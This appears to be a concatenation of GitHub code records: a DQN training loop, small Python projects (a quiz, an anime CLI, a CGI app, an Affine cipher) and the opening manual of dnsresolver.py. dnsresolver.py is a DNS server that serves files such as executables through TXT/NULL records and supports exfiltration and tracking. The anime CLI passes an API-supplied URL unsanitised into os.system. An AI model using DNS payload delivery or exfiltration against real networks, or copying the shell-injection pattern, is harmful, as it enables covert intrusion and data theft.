loss.backward()\n for param in policy_net.parameters():\n param.grad.data.clamp_(-1, 1)\n optimizer.step()\n\nnum_episodes = 1000\nfor i_episode in range(num_episodes):\n # Initialize the environment and state\n \n state, done = env.reset()\n state = state.flatten()\n state = torch.from_numpy(state).to(device)\n #state = state.double()\n k = 0\n action = 0\n for t in count():\n # Select and perform an action\n \n #print(\"Episode {} step {}\".format(i_episode,t))\n if i_episode<=-1:\n action = torch.tensor(heuristicpolicy(env.unordered_observation()),device=device)\n else:\n if(not k):\n action, k = select_action(state, i_episode)\n k = k - 1 \n #print(action)\n next_state, reward, done, _ = env.step(action)\n bestBerry = np.min(next_state[:,3])\n reward += np.exp(-0.01*bestBerry)\n # env.render()\n next_state = next_state.flatten()\n next_state = torch.from_numpy(next_state).to(device)\n #next_state = next_state.double()\n reward = torch.tensor([reward], device=device)\n\n #print(reward)\n\n # Store the transition in memory\n memory.push(state, action, next_state, reward)\n\n # Move to the next state\n state = next_state\n\n # Perform one step of the optimization (on the policy network)\n if len(memory)>=BATCH_SIZE:\n optimize_model()\n if done:\n episode_durations.append(t + 1)\n plot_durations()\n break\n print(\"Episode {} done, cumulative reward {}\".format(i_episode+1,env.cummulative_reward))\n\n # Update the target network, copying all weights and biases in DQN\n if i_episode % TARGET_UPDATE == 0:\n target_net.load_state_dict(policy_net.state_dict())\n \n with open(f'policynet/policynet_ep{i_episode}.pth', 'wb') as f:\n torch.save(policy_net.state_dict(), f)\n with open(f'targetnet/targetnet_ep{i_episode}.pth', 'wb') as f:\n torch.save(target_net.state_dict(), f)\nprint('Complete')\nenv.render()\nplt.ioff()\nplt.show()","repo_name":"prkpndy/CS698R-Project-Foraging-in-a-Field","sub_path":"Foraging-in-a-field-main/newDQN.py","file_name":"newDQN.py","file_ext":"py","file_size_in_byte":9699,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"22784312578","text":"import sys\n\nsys.path.append('/Users/arougellis/Desktop/PythonCourse/100Days/Projects/QuizGame')\n\nfrom data import question_data\nfrom question_model import Question\nfrom quiz_brain import QuizBrain\n\nquestion_bank = []\nfor question in question_data:\n # question_bank.append(Question(question_data[question]['text'], question_data[question]['answer']))\n # OR\n question_text = question['text']\n question_answer = question['answer']\n new_question = Question(question_text, question_answer)\n question_bank.append(new_question)\n\nquiz = QuizBrain(question_bank)\nwhile quiz.still_has_questions():\n user_answer = quiz.next_question()\n correct_answer = quiz.question_list[quiz.question_number-1].answer\n\n quiz.check_answer(user_answer, correct_answer)\n\nprint(\"You've completed the quiz!\")\nprint(f\"Final Score : {quiz.user_score}/{quiz.question_number}\")\n","repo_name":"ARougellis/PythonCourses","sub_path":"100Days/Projects/QuizGame/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"755066083","text":"import requests\nimport json\nimport os\n\nprintSpacing = \"\\n-----------------------------------\\n\"\n\ndef anilistCall(query, variables):\n url = 'https://graphql.anilist.co'\n response = requests.post(\n url, json={'query': query, 'variables': variables})\n return response.json()\n\n\ndef numberChoice():\n choice = input(\"Enter number: \")\n print(printSpacing)\n return choice\n\n\ndef animeSearch():\n variables = {}\n print(printSpacing)\n searchTerm = input(\"Search for an anime: \")\n variables[\"search\"] = searchTerm\n query = '''\n query ($search: String) {\n Page(page: 1, perPage: 10) {\n media(search: $search, type: ANIME) {\n title {\n romaji\n english\n native\n }\n streamingEpisodes {\n url\n title\n }\n }\n }\n }\n '''\n results = anilistCall(query, variables)\n print(printSpacing)\n print(\"SEARCH RESULTS:\")\n i = 1\n for anime in results[\"data\"][\"Page\"][\"media\"]:\n print(str(i) + \": \" + anime[\"title\"][\"romaji\"])\n i += 1\n print(printSpacing)\n return results\n\n\ndef listEpisodes(searchResults, animeChoice):\n i = 1\n print(\"AVAILABLE EPISODES:\")\n streamingEpisodes = searchResults[\"data\"][\"Page\"][\"media\"][int(animeChoice) - 1][\"streamingEpisodes\"][::-1] # the [::1] reverses the list\n for episode in streamingEpisodes:\n print(str(i) + \": \" + episode[\"title\"])\n i += 1\n print(printSpacing)\n return streamingEpisodes\n\n\ndef playEpisode(streamingEpisodes, episodeChoice):\n \n os.system(\"mpv --slang=enUS --no-terminal \" + streamingEpisodes[int(episodeChoice) - 1][\"url\"])\n\n\nsearchResults = animeSearch()\nanimeChoice = numberChoice()\nstreamingEpisodes = listEpisodes(searchResults, animeChoice)\nepisodeChoice = numberChoice()\nplayEpisode(streamingEpisodes, episodeChoice)\n\ncontinueChoosing = True\nwhile(continueChoosing):\n print(\"Type \\\"q\\\" to quit\\n\")\n episodeChoice = numberChoice()\n if(episodeChoice != \"q\"):\n playEpisode(streamingEpisodes, episodeChoice)\n else:\n continueChoosing = False\n print(\"See you next time! o/\")\n print(printSpacing)\n","repo_name":"hotsno/crunchyroll-cli","sub_path":"crunchyroll.py","file_name":"crunchyroll.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"20805610539","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Sep 22 15:54:35 2018\n\n@author: Владимир\n\n\"\"\"\nimport pickle\nfrom .truck import Truck\nfrom .truck_driver import Truck_driver\nclass Autopark:\n def __init__(self, q, selfurl):\n self.list_of_autopark =[]\n self.q=q\n self.selfurl=selfurl\n\n def add_empty_truck(self):\n self.select_from_file()\n self.list_of_autopark.append(Truck())\n self.insert_into_file()\n self.edit_truck()\n \n\n def add_truck_with_driver(self):\n self.select_from_file()\n self.list_of_autopark.append(Truck_driver())\n self.insert_into_file()\n self.edit_truck()\n \n def clear_all(self):\n self.select_from_file()\n self.list_of_autopark.clear()\n self.insert_into_file()\n self.present_autopark() \n\n def present_autopark(self):\n self.select_from_file()\n \n print('')\n print('

-------------- AUTOPARK-MENU----------------------------------------

')\n print('')\n print(''.format(self.selfurl, self.q.getvalue('student')))\n print(''.format(self.selfurl, self.q.getvalue('student')))\n print(''.format(self.selfurl, self.q.getvalue('student')))\n print(''.format(self.selfurl))\n print('
')\n print('----------------------------------------------------------------------------------

')\n print('')\n i = 0\n for truck in self.list_of_autopark:\n print('
')\n print('Truck number {0}:

'.format(i+1))\n truck.show_data()\n print('')\n print(''.format(self.selfurl, self.q.getvalue('student'), i))\n print(''.format(self.selfurl, self.q.getvalue('student'), i))\n print('
')\n print('
')\n i+=1\n print(''.format(self.q.getvalue('student')))\n print('')\n print('
')\n \n \n \n def select_from_file(self):\n with open(\"cgi-bin/st32/filename.txt\", 'rb') as filename:\n self.list_of_autopark = pickle.load(filename)\n \n def insert_into_file(self):\n with open(\"cgi-bin/st32/filename.txt\", 'wb') as filename:\n pickle.dump(self.list_of_autopark, filename)\n \n def delete_truck(self):\n self.select_from_file()\n self.list_of_autopark.pop(int(self.q.getvalue('id')))\n self.insert_into_file()\n self.present_autopark()\n \n def edit_truck(self):\n self.select_from_file()\n print('
')\n print(''.format(self.q.getvalue('student')))\n print('')\n truck_id = str()\n if 'id' in self.q:\n truck_id = self.q.getvalue('id')\n else:\n truck_id = str(len(self.list_of_autopark)-1)\n print(''.format(truck_id))\n print('')\n self.list_of_autopark[int(truck_id)].input_data()\n print('
')\n print('')\n print('
')\n\n def get_values(self):\n self.select_from_file()\n self.list_of_autopark[int(self.q.getvalue('id'))].get_values(self.q)\n self.insert_into_file()\n self.present_autopark()\n","repo_name":"witcher73/ASM.18.Lab2","sub_path":"cgi-bin/st32/autopark.py","file_name":"autopark.py","file_ext":"py","file_size_in_byte":4768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26126812429","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Dec 19 18:01:52 2017\r\n\r\n@author: Fuad g Abdella\r\n\"\"\"\r\n#This program prints the longest substring of s in which the letters occur\r\n#in alphabetical order. In case of ties, print the first substring\r\n#If there are no letters in alphabetical order, print the first letter\r\n#\r\n\r\ns = 'lrqesdjilaazqxaqzlmgbsfp' # example\r\nmaxx = 0\r\ntemp = '' #temporary string to contain the substrings\r\nfor index in range(len(s)-2):\r\n i = index\r\n while s[i] <= s[i+1]:\r\n temp += s[i]\r\n temp += s[i+1]\r\n i+=1\r\n if i > (len(s)-2):\r\n break\r\n if len(temp) > maxx:\r\n ending_index = i+1\r\n starting_index = index \r\n maxx = len(temp)\r\n temp = '' \r\nif maxx == 0:\r\n print(\"Longest substring in alphabetical order is:\",s[0:1])\r\nelse: \r\n print(\"Longest substring in alphabetical order is:\",s[starting_index:ending_index])\r\n","repo_name":"Fuadgithub/From-Edx","sub_path":"Week 1, Python Basics/ps1 problem 3.py","file_name":"ps1 problem 3.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33133172974","text":"from rest_framework import serializers\nfrom django.contrib.auth.models import User\nfrom .models import *\n\n\nclass ProfSerializer(serializers.ModelSerializer):\n prof_rating = serializers.SerializerMethodField()\n count_rating = serializers.SerializerMethodField()\n count = 0\n\n def get_prof_rating(self, instance):\n ratings = Ratings.objects.filter(prof_id=instance)\n self.count = ratings.count()\n if(self.count == 0):\n return 0\n k = 0;\n for r in ratings:\n k += r.rating\n return k // self.count\n \n def get_count_rating(self, instance):\n return self.count\n\n class Meta:\n model = Professor\n fields = ('id', 'name', 'dept', 'designation', 'email', 'portfolio_url', 'prof_rating', 'count_rating')\n\n\nclass StudentSerializer(serializers.ModelSerializer):\n class Meta:\n model = Student\n fields = ('id', 'user', 'karma')\n\n\nclass CommentSerializer(serializers.ModelSerializer):\n comment_votes = serializers.SerializerMethodField()\n\n def get_comment_votes(self, instance):\n votes = Upvotes.objects.filter(comment_id=instance)\n k = 0\n for v in votes:\n k += v.value\n return votes\n\n class Meta:\n model = Comment\n fields = ('id', 'prof', 'stud', 'content', 'date_added', 'comment_votes')\n\nclass UserSerializer(serializers.ModelSerializer):\n class Meta:\n model = User\n fields = ('id', 'username', 'email', 'password')\n\nclass RatingSerializer(serializers.ModelSerializer):\n class Meta:\n model = Ratings\n fields = '__all__'\n","repo_name":"verma16Ayush/profpoll","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33366990648","text":"# coding: utf8\n\ndef index():\n \"\"\"default is a list of individuals, their narratives and claims\"\"\"\n redirect(URL('list'))\n\ndef list():\n \"\"\"scaffold/auditing tool\"\"\"\n individuals = db().select(db.individual.ALL)\n result = [(individual.id, )\n for individual in individuals]\n return {\"items\": result}\n\ndef enter():\n \"\"\"provides an entry form. This form should be scaffolding -\n individuals should be generated in the process of defining\n participants\"\"\"\n if request.args(0):\n individual = db.individual(request.args(0, cast = int))\n form = SQLFORM(db.individual, individual)\n else:\n form - SQL(db.individual)\n if form.process().accepted:\n response.flash = 'individual table modified'\n elif form.errors:\n response.flash = 'errors in submission'\n return {'form': form}\n","repo_name":"pmidford/arachadmin","sub_path":"controllers/individual.py","file_name":"individual.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34062395996","text":"#!/usr/bin/env python3\n# coding=utf-8\n\n__title__ = 'baidupcsapi'\n__version__ = '0.9.3'\n__author__ = 'ly0, mozillazg101'\n__license__ = 'MIT'\n\nfrom setuptools import setup\n\n\nrequirements = [\n 'requests>=1.1.0',\n 'requests_toolbelt>=0.1.2',\n 'rsa>=3.1.4'\n]\npackages = [\n 'baidupcsapi',\n]\n\nsetup(\n name='baidupcsapi',\n version=__version__,\n description='百度网盘API',\n url='https://github.com/ly0/baidupcsapi',\n download_url='https://github.com/ly0/baidupcsapi',\n author=__author__,\n author_email='latyas@gmail.com,mozillazg101@gmail.com',\n license=__license__,\n packages=packages,\n package_data={'': ['LICENSE.txt']},\n package_dir={'baidupcsapi': 'baidupcsapi'},\n include_package_data=True,\n install_requires=requirements,\n zip_safe=False,\n classifiers=[\n 'Development Status :: 5 - Production/Stable',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3',\n 'Topic :: Utilities',\n ],\n keywords='百度网盘, 百度云, API',\n)\n","repo_name":"ly0/baidupcsapi","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","stars":1172,"dataset":"github-code","pt":"72"} +{"seq_id":"28526642218","text":"from django.forms import TextInput, ClearableFileInput\nfrom django.forms.utils import flatatt\nfrom django.utils.html import format_html\n\nfrom django.utils.translation import ugettext as _\n\n\nclass PhoneNumberInput(TextInput):\n input_type = 'tel'\n\n\nclass FileFieldLink(ClearableFileInput):\n \"\"\"\n Widget that displays file from FileField as a link to the uploaded data if 'disabled'\n attribute is set, or as (ClearableFileInput) otherwise.\n \"\"\"\n\n def render(self, name, value, attrs=None):\n attrs = self.build_attrs(attrs)\n if attrs.get('disabled'):\n attrs.pop('readonly')\n attrs.pop('disabled')\n if 'class' in attrs:\n # Avoid displaying the link as input\n attrs['class'] = attrs['class'].replace('form-control', '')\n\n p_attrs = {'class': 'static-field'}\n if value:\n attrs['href'] = value.url\n return format_html('{}

',\n flatatt(attrs), flatatt(p_attrs), value.name)\n else:\n attrs.update(p_attrs)\n return format_html('{}

', flatatt(attrs), _(\"No file uploaded\"))\n else:\n return super(FileFieldLink, self).render(name, value, attrs)\n","repo_name":"m4tx/egielda","sub_path":"common/widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"5723660173","text":"import tkinter as tk\nfrom tkinter.filedialog import askopenfile\nfrom PIL import Image, ImageTk\n\n# main loop\nroot = tk.Tk()\nroot.geometry(\"750x750\")\nroot.minsize(750, 750)\nroot.maxsize(750, 750)\nroot.title(\"File-Compressor\")\n\n# size of window\ncanvas = tk.Canvas(root, width=720, height= 480)\ncanvas.grid(columnspan=3, rowspan=3)\n\n# image\nlogo = Image.open('./logo.png')\nlogo = ImageTk.PhotoImage(logo)\nlogo_label = tk.Label(image=logo)\nlogo_label.image = logo\nlogo_label.grid(column=1, row=0)\n\n# instructions\ninstructions = tk.Label(root, text=\"Select a file on your computer and compress/decompress it.\", font=\"Montserrat-Medium\")\ninstructions.grid(columnspan=3, column=0, row=1)\n\n# functions\ndef open_file():\n browse_text.set(\"Loading...\")\n file = askopenfile(parent=root, mode='rb', title=\"Choose a file\")\n if file:\n # text box\n page_content = \"File read successfully!\"\n text_box = tk.Text(root, height=10, width=80, padx=15, pady=15)\n text_box.insert(1.0, page_content)\n text_box.tag_configure(\"center\", justify=\"center\")\n text_box.tag_add(\"center\", 1.0, \"end\")\n text_box.grid(column=1, row=3)\n\n browse_text.set(\"Browse\")\n\ndef compress():\n pass\ndef decompress():\n pass\n\n# browse button \nbrowse_text = tk.StringVar() \ncompress_btn = tk.Button(root, textvariable=browse_text, command=lambda:compress(), font=\"Montserrat-Medium\", bg=\"#20bebe\", fg=\"white\", height=2, width=15)\nbrowse_text.set(\"Compress\")\ncompress_btn.grid(column=1, row=2)\n\nbrowse_text = tk.StringVar() \ndecompress_btn = tk.Button(root, textvariable=browse_text, command=lambda:decompress(), font=\"Montserrat-Medium\", bg=\"#20bebe\", fg=\"white\", height=2, width=15)\nbrowse_text.set(\"Decompress\")\ndecompress_btn.grid(column=1, row=3)\n\ncanvas = tk.Canvas(root, width=720, height= 240)\ncanvas.grid(columnspan=3)\n\nroot.mainloop()\n# main loop ends","repo_name":"geetnsh2k1/COMPRESSOR-DECOMPRESSOR","sub_path":"bin/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"29394710507","text":"from re import X\nfrom typing import List\n\nfrom Utility import alphabets, relativePrime, modularInverse\n\nclass AffineCipher:\n \"\"\"\n A class used for representing Affine Cipher and it's component.\n\n Attributes.\n ----------\n plaintext : str\n Text you want to encrypt or ciphertext after decrypted. In lowercase format.\n ciphertext : str\n Text you want to decrypt or plaintext after encrypted. In lowercase format.\n b : int\n Number of shifting for encrypting or decrypting a text. \n m : int\n Key for encrypting or decrypting a text.\n \"\"\"\n\n def __init__(self, b:int, m:int, plaintext: str =\"\", ciphertext:str=\"\") -> None:\n \"\"\"\n Constructor for AffineCipher class. Either plaintext or ciphertext must be empty at \n creation.\n\n Parameters\n ----------\n plaintext : str, optional\n Text you want to decrypt or plaintext after encrypted.\n cipherthex : int, optional\n Key for encrypting or decrypting a text.\n b : int\n Number of shifting for encrypting or decrypting a text. \n m : int\n Key for encrypting or decrypting a text.\n \"\"\"\n\n # Input validation.\n if (plaintext != \"\" and ciphertext != \"\"):\n raise Exception(\"Either plaintext or ciphertext must be empty\")\n if (plaintext == \"\" and ciphertext == \"\"):\n raise Exception(\"Either plaintext or ciphertext must be filled\")\n if (b == None or m == None):\n raise Exception(\"Key must be filled!\")\n\n self.plaintext = plaintext\n if (plaintext != \"\"):\n self.plaintext = self.normalizeText(plaintext)\n\n ciphertext = ciphertext.lower()\n self.ciphertext = ciphertext\n if (ciphertext != \"\"):\n self.ciphertext = self.normalizeText(ciphertext)\n \n \n b = b % 26\n self.b = b\n \n m = m % 26\n if (not relativePrime(m,26)):\n raise Exception(\"m must be relative prime with 26, eg (1, 3, 5, 7, 9, 11, 15, 17, 19, 21, 23, and 25).)\")\n self.m = m\n\n @staticmethod\n def normalizeText(text:str)-> str:\n \"\"\"\n Method to normalize text by removing space and punctuation.\n \n Return the normalized text. \n \n Parameters\n ----------\n text : str\n Text you want to normalize.\n \"\"\"\n\n # Variable declaration.\n normalizedText:str\n \n # Remove number, punctuation, and space.\n normalizedText = \"\".join(filter(str.isalpha, text)).lower()\n return normalizedText \n \n def encrypt(self)->str:\n \"\"\"\n Method to encrypt current plaintext with current key. Modify ciphertext attribute also\n \n Return the capitalized ciphertext. \n \"\"\"\n\n # Class validation. \n if (self.plaintext == \"\" or self.ciphertext != \"\"):\n raise Exception(\"Plaintext must be filled and ciphertext must be empty\")\n\n # Variable declaration.\n ciphertext:str = \"\"\n\n # Encrypt the plaintext. \n for p in self.plaintext:\n ciphertext = ciphertext + alphabets[(alphabets.find(p)*self.m + self.b)%26]\n \n self.ciphertext = ciphertext\n return ciphertext.upper()\n \n def decrypt(self)->str:\n \"\"\"\n Method to decrypt current ciphertext with current key. Modify plaintext attribute also\n \n Return the plaintext. \n \"\"\"\n\n # Class validation.\n if (self.plaintext != \"\" and self.ciphertext == \"\"):\n raise Exception(\"Plaintext must be empty and ciphertext must be filled\")\n\n # Variable declaration.\n plaintext:str = \"\"\n\n # Encrypt the plaintext. \n modInverse = modularInverse(self.m, 26)\n for c in self.ciphertext:\n plaintext = plaintext + alphabets[(modInverse*(alphabets.find(c)-self.b))%26]\n \n self.plaintext = plaintext\n return plaintext\n\n\n# # Test for Affine.\n# a = \"kripto\"\n# b = 10\n# m = 7\n# x = \"CZOLNE\"\n# d = AffineCipher(b=b, m=m, plaintext=a, ciphertext=\"\")\n# print(d.encrypt())","repo_name":"AndhikaRei/Classic-Cipher","sub_path":"src/Affine.py","file_name":"Affine.py","file_ext":"py","file_size_in_byte":4164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24304068518","text":"#!/usr/bin/python3\n\nimport hunspell\nimport sys\n\nif len(sys.argv) != 3:\n print(\n \"Usage: ./overrides-from-hunspell /usr/share/hunspell/en_US.dic \"\n \"/usr/share/hunspell/en_US.aff\")\n sys.exit(1)\n\nhun = hunspell.HunSpell(sys.argv[1], sys.argv[2])\n\nf = open(sys.argv[1], \"r\", errors='ignore')\nlines = f.readlines()\nfor line in lines:\n word = line.strip().split(\"/\")[0]\n asInput = word.lower().replace(\"'\", \"\")\n if \"'\" in word and not hun.spell(asInput):\n print(asInput + \",\" + word)\n","repo_name":"ubports/keyboard-component","sub_path":"tools/overrides-from-hunspell.py","file_name":"overrides-from-hunspell.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"72"} +{"seq_id":"42392489320","text":"from AccessControl import getSecurityManager\nfrom DateTime import DateTime\n\nrequest = container.REQUEST\nRESPONSE = request.RESPONSE\n\nI18N_DOMAIN = 'plone'\n\nsubmitterId = getSecurityManager().getUser().getId()\n\n# Check whether submission is allowed or not.\n## if(context.isPublic() and (not context.hasSubmitted(submitterId))):\n## \"\"\" Save the candidate's answers to all the questions\n## he saw.\n## \"\"\"\n## for questionContainer in [context] + context.getQuestionGroups():\n## for question in questionContainer.getQuestions(submitterId):\n## questionId = question.UID()\n## answersGiven = request.get(submitterId + '_' + questionId)\n## \"\"\" The answer ID 'i_dont_know_the_answer_to_this_question' \n## is a special case. An answer with that ID is generated for \n## every multiple choice answer to allow the candidate to \n## select nothing if he/she does not know which answer is correct\n## but has already marked one of the radio buttons.\n## \"\"\"\n## if (answersGiven !=\n## 'i_dont_know_the_answer_to_this_question') and \\\n## (answersGiven !=\n## ['i_dont_know_the_answer_to_this_question']):\n## question.setCandidateAnswer(submitterId, answersGiven)\n \n## context.setCandidateTimeFinish(submitterId, DateTime())\n \n## msg = context.translate(\\\n## msgid = 'answers_saved',\\\n## domain = I18N_DOMAIN,\\\n## default = 'Your answers have been saved.')\n \n## else:\n## # Submission not allowed.\n## msg = context.translate(\\\n## msgid = 'not_submit_again',\\\n## domain = I18N_DOMAIN,\\\n## default = 'You may not submit the test again.')\nanswersGiven = request.get('questionanswers')\ncontext.setQuestionanswers(answersGiven)\nmsg = 'Your answer has been saved' \ntarget_action = context.getTypeInfo().getActionById( 'view' )\n\n\"\"\" Set the 'portal_status_message' to 'msg' and set 'has_just_submitted'\n to 'True'. This prevents the 'You have already taken this test.' message\n from being shown immediately after submission.\n\"\"\"\nRESPONSE.redirect(\n '%s/%s?portal_status_message=%s&has_just_submitted=True' % ( context.absolute_url(),\n target_action,\n msg\n )\n)\n","repo_name":"tutor-web/Products.TutorWeb","sub_path":"Products/TutorWeb/skins/TutorWeb/submitTest.py","file_name":"submitTest.py","file_ext":"py","file_size_in_byte":2477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"45035685915","text":"# inp = int(input())\n\n# i = 1\n# floor = 0\n# real_num = 0\n\n# while True: \n# floor = floor + i\n# if floor > inp:\n# real_num = floor - i \n# break\n# i+=1\n# # print(floor)\n\n\n# print(f'floor:{floor}')\n# print(f'real_num:{real_num}')\n\n# print(f'{floor-inp}/{floor-real_num}')\n# print(f'real_num:{real_num}')\n# # print(f'i:{i}')\n# print(floor)\n\n# real_num은 제일가까운 수를 찾아줌 거기서 몇번 더가면 됨.\n\n# 골머리를 앓음\n\n\n\nX=int(input())\nline=1\n\n# x는 입력된수\n# line은 몇번 실행됬는지 알수있는수\n# x가 line보다 무조건 작음\n# 짝수번 실행되었으면 분모쪾에 line - X + 1\n\nwhile X>line:\n X=X-line\n line+=1\n\nif line%2==0:\n a=X\n b=line-X+1\n\nelse:\n a=line-X+1\n b=X\n\nprint(a, '/', b, sep='')\nprint(f'X : {X}')\nprint(f'line : {line}')\n# X 는 배열안에 몇번째 index 인지 알수있음\n# line은 몇번째 배열인지 알수있음\n\n# [1/1], [1/2, 2/1], [3/1, 2/2, 1/3], [1/4, 2/3, 3/2, 4/1]\n# 홀수번째 배열은 내림차순, 짝수번째 배열은 오름차순","repo_name":"saehan-choi/Baekjoon-Online-Judge","sub_path":"math_baekjoon1193.py","file_name":"math_baekjoon1193.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"28412728696","text":"class Solution:\n \"\"\"\n @param n: Given the range of numbers\n @param k: Given the numbers of combinations\n @return: All the combinations of k numbers out of 1..n\n \"\"\"\n def combine(self, n, k):\n # similar to start_ind, never look back\n # T(n) = Cnk = n* ..(n-k+1) / k!\n nums = [i+1 for i in range(n)]\n result = []\n self.dfs(nums, result, k, [], 0)\n return result \n \n def dfs(self, nums, result, k, subset, start_ind):\n if len(subset) == k:\n result.append(subset[:])\n return\n \n for i in range(start_ind, len(nums)):\n subset.append(nums[i])\n self.dfs(nums, result, k, subset, i + 1)\n subset.pop()\n \n return \n","repo_name":"KunyiLiu/algorithm_problems","sub_path":"kunyi/permutation_graphed_based_dfs/combinations.py","file_name":"combinations.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9668058184","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function\n\n__description__ = 'DNS server for serving files, exfiltration, tracking, wildcards, rcode testing, resolving and forwarding'\n__author__ = 'Didier Stevens'\n__version__ = '0.0.3'\n__date__ = '2023/04/01'\n\n\"\"\"\n\nSource code put in the public domain by Didier Stevens, no Copyright\nhttps://DidierStevens.com\nUse at your own risk\n\nHistory:\n 2019/06/25: start\n 2019/06/27: multiple strings per TXT record\n 2019/07/16: option base64, refactoring\n 2019/07/18: added payloads arguments, removed base64 option\n 2019/07/19: refactoring, added exfiltrations\n 2019/07/21: refactoring\n 2019/07/24: added command track\n 2019/08/05: bugfix\n 2019/08/06: refactoring\n 2019/08/13: updated man page\n 2020/09/02: added DNS NULL support\n 2020/11/09: cleanup DNS NULL support\n 2021/01/15: added command rcode\n 2021/01/16: added command wildcard\n 2021/04/07: added command resolve\n 2021/07/14: updated man page\n 2022/05/30: 0.0.2 MatchSublist\n 2022/05/31: added TYPE_FORWARDER\n 2022/12/04: finished forwarder\n 2023/03/16: 0.0.3 label *\n 2023/04/01: updated man; added ParseAnswerValue\n\nTodo:\nadd option to control TCP size\n\"\"\"\n\nimport argparse\nimport glob\nimport collections\nimport time\nimport sys\nimport textwrap\nimport os\nimport binascii\nimport string\nimport struct\nimport mmap\nimport copy\nimport os.path\nimport re\n\ntry:\n import dnslib\n import dnslib.server\nexcept ImportError:\n print('module dnslib is not installed, please install it (with pip, for example)')\n sys.exit()\n\ndef PrintManual():\n manual = '''\nManual:\n\nThis is a DNS server for serving files, exfiltration, tracking, wildcards, rcode testing, resolving and forwarding.\n\nWhen started, this Python program will start a DNS server (UDP only) listening on port 53 on all addresses of the host.\nTo serve DNS via TCP too, use option --tcp. You can select a different port with option -p, and a different address with option -a. With option -t, you can change the TTL of the replies. -u can be used to change the maximum length of the UDP packets.\n\nYou need to provide at least one command as argument. Commands are separated by space characters.\n\nThere are 7 different types of commands: serving files (type=payload), exfiltration (type=exfiltration), tracking (type=track), rcode testing (type=rcode), wildcards (type=wildcard), resolving (type=resolve) and forwarding (type=forwarder).\n\nHere is an example to serve file test.exe BASE64 encoded via DNS TXT and DNS NULL records:\n\n$> dnsresolver.py type=payload,label=executable,file=test.exe,encoding=base64\n\nCommands consist of key-value pairs (key=value) separated by commas (,). If you need to use whitespace inside a command (for example for file names with space characters), you need to escape said whitespace with according to the rules of your shell.\n\nEach command requires at least a key-value pair with key 'type'. This defines the type of command. Possible values are payload, exfiltration, track, wildcard, rcode, resolve and forward.\n\nKey label specifies the DNS label to match (more details provided with the individual commands). Labels have to be unique: you can not have more than one command with the same label. A label can have value '*'. This label will match all queries that do not match other labels.\n\nA payload command takes the following key-value pairs:\n type=payload\n label=\n file=\n data=\n dataencoding=hex,base64,\n encoding=hex,base64,dynamic,\n\nThe label is a label in the domain name space that will be used to match DNS queries, like this: label.domain.tld. The label has to be the last leaf in the domain name space, and other labels (like domain and tld) are not checked by the dns resolver.\nKey-value pair label is mandatory, except when a file is provided. When a file is provided and no label is provided, the label is derived from the filename (filename with path or extension).\nThe payload to be served via DNS TXT and DNS NULL records has to be provided via a file key-value pair (the value is the filename) or a data key-value pair. Data allows to serve a payload directly from the command line, without needing a file on disk.\nThe data is served as-is, unless a dataencoding key-value pair is provided. The data encoding can be hexadecimal (hex) or BASE64 (base64).\nFor example, the following command:\n\n type=payload,label=demo,data=414243,dataencoding=hex\n\nwill serve DNS TXT and DNS NULL records with content ABC (414243 hexadecimal). Only queries like demo.example.com, demo.word.didierstevens.com, ... (demo is the last leaf) will match and have a DNS TXT or DNS NULL reply. Non-matching queries result in an NXDOMAIN reply.\n\nDNS resolver can serve files/data of arbitrary length. When the data can not be contained in a single UDP DNS TXT or NULL record (512 bytes), the program will offer to serve the reply via DNS (truncated flag), provided the --tcp flag was used.\nDNS TXT and DNS NULL replies over TCP can be up to 64K in length.\nIf the data to be served exceeds the capacity of a single DNS TXT or DNS NULL reply (udp/tcp), the data will be split over several DNS TXT or DNS NULL records, using a counter as index.\nThe process works as follows (assume test.exe is at least 200.000 bytes long):\n\n type=payload,label=exe,file=test.exe\n\nThe first chunk of the file is served in replies to requests like exe.example.com or exe.0.example.com.\nThe second chunk of the file is served in replies to requests like exe.1.example.com.\nThe third chunk of the file is served in replies to requests like exe.2.example.com.\nAnd so on.\nThe end-of-file is indicated with a NXDOMAIN reply. For example, if a file can be served via 2 chuncks (exe.0.example.com and exe.1.example.com), then a request for exe.2.example.com will result in a NXDOMAIN reply.\n\nThe content of a file (or data) is served as-is, unless a key-value pair encoding is used. Since some bytes can cause problems when parsed or transfered (like 0x00 bytes), encoding can be used to avoid these issues. DNS resolver supports hexadecimal (hex) 